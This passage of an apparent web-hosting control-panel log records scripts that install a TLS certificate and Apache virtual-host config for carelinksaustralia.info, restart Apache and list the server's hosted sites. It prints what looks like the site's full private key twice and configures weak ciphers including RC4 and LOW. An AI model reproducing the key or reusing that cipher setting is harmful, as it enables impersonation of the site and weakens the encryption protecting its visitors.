cv54TIPS/eEWwrAgardnhJkiq2tWQvDmbSA=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCm14WCc36g+wK8
PAQkRwBT/SJxliyyQEhtlKaBxnl4HlLso03XDajf1kNHlgJ1Lvo28kMUd+Qjnfzx
Cv5E35Q0wccjF/oFhk7iyxMl213xUY16yRpnPDJBGDBkv6E6utqJco36SU8cFsoI
bA57vwyerjJo708S0ymJw9+Zj9DUdL7rEXH/edyxdnvWjjdpyVeWTJQ+hctS5/1P
COnWd4mJikqatJUMKwrT+8ketVViQf5vTLN2R80WZ7aab5VedF11pPi3WO5pgtyL
r7S6OfNFX1GDe4TV4/djoy28091BWtlK5Y3DugA7ikVlozfLWLDtbJLAlR21EOhw
24hRV+O/AgMBAAECggEAR871IJtzAfhnSfsO0UpZ4sxNedPn8uRmB/v12l9BQqjS
ihUTWJ8Bcy22EWaIMkWA3gtRQcsEPywthNV1cNFF6ZsJiZo1OxF+fHBpEl8jRM0T
9qf9nDc1bfzqP0KXMz7e9k9+uh25Vd6dIBjZ9vrYhKd2/OEbCIAoHapXX7GdcQMI
fsaQ8xSpEUAdf3xO8QUe8v4LUGletEQwLxHIU+okSl9YVLvl1kUA5JkpDSwz6Uc6
Xu7ETt66Taf2usURPc9WvE7BNkPLsmz569ylBs3rhjYd8Vzv4YnNDi2/7R5SJ3OU
bULlj438CdKu8yVCEVmJta2+My7mACTV7YV2ouIO0QKBgQDUIFlIReTmLdJIdVyX
pGo/scl2zl7YFQ1n5nhnwQGs1Yn9zTjsvKwgkUeLZn3ShyLlcIQcgWTnvDg2Pp/C
bVtMzjA7DlIqbY4KAUpXOH/6jgW32aL31TMwxG77gfcHaXnBxk9HxOgnnaoSgKEe
xKlm5yEjygVKi2In7m16JUWpCQKBgQDJWXQNSOHzh3OaLzcjZyDQ1BEjiGoeaxai
RDdjvw4NPFKJxd3MLSnh/wQ876GR2pNe0pxOja99PaF6+qhaeKOeqB01ofAtJJ5k
C3BnA5ngbaPSB1Ye7XPq4TazPjo9lyKcY3UhXt9kEUkig62HIwXYGongM7tHJpI1
RBNsYm3AhwKBgQCW8t4V3Abi9UBqZ3mYP1uML8uZS4maYoDDqvGLg4DZqKslfGBB
tpEWK8upmyl2IsvmUYbxcfKIJRwrHa06Ae+yXBdeLvaxUnx9CiYIoyAO//l5ttmN
Wp2u2lnPh9Bt6dTG24OXIrvBVSStPfNpnbCelWKzwRK61SzoFXa6MMO9YQKBgCxB
qj2FSIzjt+gq+p6ge1kLU90QjeqztRzji500EF2eZbH8uNy5DJytFfxi24uYlI3i
ExM9F1aa5lSGpdyE6cnkv87bElSJ2Pq6fPFXnEn1L23pyOcxYCo/aGuLgPeqsaPY
RJWaKdXv6rhYYxrx+sXeR3HtTPu9oaNtnCtVkzQfAoGBAJup1l795LCHuQFWERpE
z5UTZWp+xL1bprxt/SiEGYCvJRltEhuQobnk3WOzSRb7j4nNZLxUZRRLBtX5iZGO
wplI5bwLEGpwLcnr8KQ6/IZ+6sxDCxhIXXkLRmYlIS7+B6blgG1J1oFAMxlWdAgI
hza7ZKqq08QSIJ1G7vDTb0YM
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-09 11:20:40:
chmod 755 /tmp/pkp113319; /tmp/pkp113319; rm /tmp/pkp113319
2025-10-09 11:20:40:
dir=/etc/ssl/certs
2025-10-09 11:20:40:
PUT: /tmp/pkp857693
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-09 11:20:40:
chmod 755 /tmp/pkp857693; /tmp/pkp857693; rm /tmp/pkp857693
2025-10-09 11:20:40:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf 51
<VirtualHost *:80>
ServerName carelinksaustralia.info
ServerAdmin do_not_email@example.com
ServerAlias www.carelinksaustralia.info
DocumentRoot /var/www/carelinksaustralia_www
<Directory /var/www/carelinksaustralia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinksaustralia/www_access.log combined
ErrorLog /var/log/apache2/carelinksaustralia/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName carelinksaustralia.info
ServerAdmin do_not_email@example.com
ServerAlias www.carelinksaustralia.info
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt
DocumentRoot /var/www/carelinksaustralia_www
<Directory /var/www/carelinksaustralia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinksaustralia/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinksaustralia/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-09 11:20:40:
PUT: /tmp/pkp699281
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinksaustralia_www_info.conf
TARGET=/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName carelinksaustralia.info
ServerAdmin do_not_email@example.com
ServerAlias www.carelinksaustralia.info
DocumentRoot /var/www/carelinksaustralia_www
<Directory /var/www/carelinksaustralia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinksaustralia/www_access.log combined
ErrorLog /var/log/apache2/carelinksaustralia/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName carelinksaustralia.info
ServerAdmin do_not_email@example.com
ServerAlias www.carelinksaustralia.info
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt
DocumentRoot /var/www/carelinksaustralia_www
<Directory /var/www/carelinksaustralia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinksaustralia/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinksaustralia/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/carelinksaustralia_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinksaustralia_www_info.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinksaustralia_www_info.conf= 1'
fi
2025-10-09 11:20:40:
chmod 755 /tmp/pkp699281; /tmp/pkp699281; rm /tmp/pkp699281
2025-10-09 11:20:40:
2025-10-09 11:20:40:
PUT: /tmp/pkp466453
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-09 11:20:40:
chmod 755 /tmp/pkp466453; /tmp/pkp466453; rm /tmp/pkp466453
2025-10-09 11:20:40:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-09 11:20:40: Establishing a connection
2025-10-09 11:20:40:
PUT: /tmp/pkp942357
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-09 11:20:40:
chmod 755 /tmp/pkp942357; /tmp/pkp942357; rm /tmp/pkp942357
2025-10-09 11:20:40:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-09 11:20:40:
PUT: /tmp/pkp514889
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-09 11:20:40:
chmod 755 /tmp/pkp514889; /tmp/pkp514889; rm /tmp/pkp514889
2025-10-09 11:20:40:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf 1362
<VirtualHost *:80>
ServerName carelinksaustralia.info
ServerAdmin do_not_email@example.com
ServerAlias www.carelinksaustralia.info
DocumentRoot /var/www/carelinksaustralia_www
<Directory /var/www/carelinksaustralia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinksaustralia/www_access.log combined
ErrorLog /var/log/apache2/carelinksaustralia/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName carelinksaustralia.info
ServerAdmin do_not_email@example.com
ServerAlias www.carelinksaustralia.info
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt
DocumentRoot /var/www/carelinksaustralia_www
<Directory /var/www/carelinksaustralia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinksaustralia/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinksaustralia/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-09 11:20:40:
PUT: /tmp/pkp321741
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-09 11:20:40:
chmod 755 /tmp/pkp321741; /tmp/pkp321741; rm /tmp/pkp321741
2025-10-09 11:20:40:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt 5406
5c:37:b9:8a:c5:19:76:b6:b5:f1:db:13:b9:52:3b:0b
-----BEGIN CERTIFICATE-----
MIIFJjCCBA6gAwIBAgISBatvyixd2HsMF7fNY8PrWN9xMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDA5MTAyMjA4WhcNMjYwMTA3MTAyMjA3WjAiMSAwHgYDVQQD
ExdjYXJlbGlua3NhdXN0cmFsaWEuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAKbXhYJzfqD7Arw8BCRHAFP9InGWLLJASG2UpoHGeXgeUuyjTdcN
qN/WQ0eWAnUu+jbyQxR35COd/PEK/kTflDTBxyMX+gWGTuLLEyXbXfFRjXrJGmc8
MkEYMGS/oTq62olyjfpJTxwWyghsDnu/DJ6uMmjvTxLTKYnD35mP0NR0vusRcf95
3LF2e9aON2nJV5ZMlD6Fy1Ln/U8I6dZ3iYmKSpq0lQwrCtP7yR61VWJB/m9Ms3ZH
zRZntppvlV50XXWk+LdY7mmC3IuvtLo580VfUYN7hNXj92OjLbzT3UFa2UrljcO6
ADuKRWWjN8tYsO1sksCVHbUQ6HDbiFFX478CAwEAAaOCAkMwggI/MA4GA1UdDwEB
/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQUVALc7kErp7MZdVeRj+JWnST3130wHwYDVR0jBBgwFoAU
ALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzA/BgNVHREEODA2ghdjYXJlbGlua3Nh
dXN0cmFsaWEuaW5mb4Ibd3d3LmNhcmVsaW5rc2F1c3RyYWxpYS5pbmZvMBMGA1Ud
IAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIuYy5s
ZW5jci5vcmcvMTE0LmNybDCCAQIGCisGAQQB1nkCBAIEgfMEgfAA7gB1ABmG1Mco
qm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmciznqoAAAQDAEYwRAIgUBJ7
a2A5p6haCc6luLxbPhCQBuprABE/CJv5IuCdQsMCIEE6m51VkFWw52V3/j9hfoVx
oZ4QtG+qYKpsb6UOfPR7AHUAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/K
qcYAAAGZyLOe9gAABAMARjBEAiAiN14NcfVBMAh8N4k7cJCGMeL+HA7wGpdyEWO2
ovFrEAIgNnL7SlUT6gvk07QhOvdXPheWmzbaQ1PNRDw5qknOJb4wDQYJKoZIhvcN
AQELBQADggEBAMB44Kl+Ya0nJKab+t4xqhFcCosdQhdl9v7mxoaB0oikcK8JP3Ft
7+3xuX9ydettk9J2AWmACx6kfMKLXwrv45NQ+ifXZups55H5hlbz5KvvTbBt4ebv
E3dJGR+fc8SYn5hMKkrF943zeI+9WZZnSHBRLzHRPUrDDCkUZQpXeBpVPaNNbB3W
BT8rt4s1bXK44ZEtWnvs8zrxbMgbBiCz9c3td0eAHZac82F45t7UOBkrbPO0CxbC
YUV95zUdhd4lGhe6pKtQR2AbR4kBn/K449tBZbMM2Hh/+xYo4/LU33dJzfUXJb1L
cv54TIPS/eEWwrAgardnhJkiq2tWQvDmbSA=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCm14WCc36g+wK8
PAQkRwBT/SJxliyyQEhtlKaBxnl4HlLso03XDajf1kNHlgJ1Lvo28kMUd+Qjnfzx
Cv5E35Q0wccjF/oFhk7iyxMl213xUY16yRpnPDJBGDBkv6E6utqJco36SU8cFsoI
bA57vwyerjJo708S0ymJw9+Zj9DUdL7rEXH/edyxdnvWjjdpyVeWTJQ+hctS5/1P
COnWd4mJikqatJUMKwrT+8ketVViQf5vTLN2R80WZ7aab5VedF11pPi3WO5pgtyL
r7S6OfNFX1GDe4TV4/djoy28091BWtlK5Y3DugA7ikVlozfLWLDtbJLAlR21EOhw
24hRV+O/AgMBAAECggEAR871IJtzAfhnSfsO0UpZ4sxNedPn8uRmB/v12l9BQqjS
ihUTWJ8Bcy22EWaIMkWA3gtRQcsEPywthNV1cNFF6ZsJiZo1OxF+fHBpEl8jRM0T
9qf9nDc1bfzqP0KXMz7e9k9+uh25Vd6dIBjZ9vrYhKd2/OEbCIAoHapXX7GdcQMI
fsaQ8xSpEUAdf3xO8QUe8v4LUGletEQwLxHIU+okSl9YVLvl1kUA5JkpDSwz6Uc6
Xu7ETt66Taf2usURPc9WvE7BNkPLsmz569ylBs3rhjYd8Vzv4YnNDi2/7R5SJ3OU
bULlj438CdKu8yVCEVmJta2+My7mACTV7YV2ouIO0QKBgQDUIFlIReTmLdJIdVyX
pGo/scl2zl7YFQ1n5nhnwQGs1Yn9zTjsvKwgkUeLZn3ShyLlcIQcgWTnvDg2Pp/C
bVtMzjA7DlIqbY4KAUpXOH/6jgW32aL31TMwxG77gfcHaXnBxk9HxOgnnaoSgKEe
xKlm5yEjygVKi2In7m16JUWpCQKBgQDJWXQNSOHzh3OaLzcjZyDQ1BEjiGoeaxai
RDdjvw4NPFKJxd3MLSnh/wQ876GR2pNe0pxOja99PaF6+qhaeKOeqB01ofAtJJ5k
C3BnA5ngbaPSB1Ye7XPq4TazPjo9lyKcY3UhXt9kEUkig62HIwXYGongM7tHJpI1
RBNsYm3AhwKBgQCW8t4V3Abi9UBqZ3mYP1uML8uZS4maYoDDqvGLg4DZqKslfGBB
tpEWK8upmyl2IsvmUYbxcfKIJRwrHa06Ae+yXBdeLvaxUnx9CiYIoyAO//l5ttmN
Wp2u2lnPh9Bt6dTG24OXIrvBVSStPfNpnbCelWKzwRK61SzoFXa6MMO9YQKBgCxB
qj2FSIzjt+gq+p6ge1kLU90QjeqztRzji500EF2eZbH8uNy5DJytFfxi24uYlI3i
ExM9F1aa5lSGpdyE6cnkv87bElSJ2Pq6fPFXnEn1L23pyOcxYCo/aGuLgPeqsaPY
RJWaKdXv6rhYYxrx+sXeR3HtTPu9oaNtnCtVkzQfAoGBAJup1l795LCHuQFWERpE
z5UTZWp+xL1bprxt/SiEGYCvJRltEhuQobnk3WOzSRb7j4nNZLxUZRRLBtX5iZGO
